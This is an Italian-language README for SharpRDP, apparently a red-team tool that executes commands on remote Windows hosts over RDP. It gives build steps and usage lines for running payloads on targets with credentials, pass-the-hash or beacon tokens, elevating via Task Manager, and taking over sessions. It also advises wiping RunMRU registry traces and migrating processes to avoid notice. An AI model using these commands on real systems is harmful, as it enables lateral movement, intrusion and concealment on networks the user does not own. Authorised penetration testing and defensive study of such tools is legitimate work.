
Remote Desktop Protocol .NET Applicazione Console per Esecuzione di Comandi Autenticata
Per compilare, apri il progetto in Visual Studio e crea una build per il rilascio. Due DLL verranno generate nella directory Release; non ti servono perché le DLL sono già incluse nell'assembly.
Se non vuoi utilizzare le DLL fornite, avrai bisogno di .NET SDK per creare la DLL AxMSTSCLib.dll. Per crearla, dovrai eseguire aximp dall'SDK su mstscax.dll. %<Directory SDK>%\aximp.exe %windir%\system32\mstscax.dll. Queste DLL dovranno essere referenziate dal progetto per creare le DLL Interop.
Dovrai anche comprimere le DLL con Deflate e rinominarle in AxInterop.MSTSCLib.dll.bin e Interop.MSTSCLib.dll.bin
Connessione RDP normale ed esecuzione di comandi
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
Esecuzione del programma come processo figlio di cmd o powershell
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password exec=cmd
Utilizza la modalità amministrazione ristretta
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe"
Collega le unità dell'host di primo contatto
SharpRDP.exe computername=domain.target command="\\tsclient\C\Temp\file.exe" username=domain\user password=password connectdrive=true
Esegui comando con privilegi elevati tramite la finestra Esegui - ATTUALMENTE CON BUG
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe" username=domain\user password=password elevated=winr
Esegui comando con privilegi elevati tramite il Task Manager
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password elevated=taskmgr
Aggiungi autenticazione a livello di rete
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password nla=true
Richiedi di prendere il controllo della sessione di accesso
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password takeover=true
Se la modalità amministrazione ristretta è abilitata sul target, non specificare alcuna credenziale e verrà utilizzato il contesto utente corrente. È possibile eseguire PTH o make_token in beacon oppure runas /netonly su un sistema Windows.
Tutte le esecuzioni iniziano con la finestra Esegui di Windows (Win+R). Verrà creata una chiave di registro in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU con il comando eseguito. Se desideri rimuoverla, puoi utilizzare: CleanRunMRU: Ottieni o cancella i valori RunMRU
Tieni presente che se esegui un programma come msbuild (sono sicuro ce ne siano altri), apparirà una finestra cmd mentre il processo è in esecuzione. In tal caso, sarebbe probabilmente meglio migrare il processo e uccidere l'originale.
Le DLL necessarie sono compilate nell'assembly e viene utilizzato l'evento di risoluzione dell'assembly del dominio dell'app. A causa delle dimensioni delle DLL, vengono compresse e decompresse in fase di esecuzione (in modo da poter rispettare il limite di dimensione di 1 MB di beacon).
Post sul blog disponibile qui SharpRDP
Parte anche di MoveKit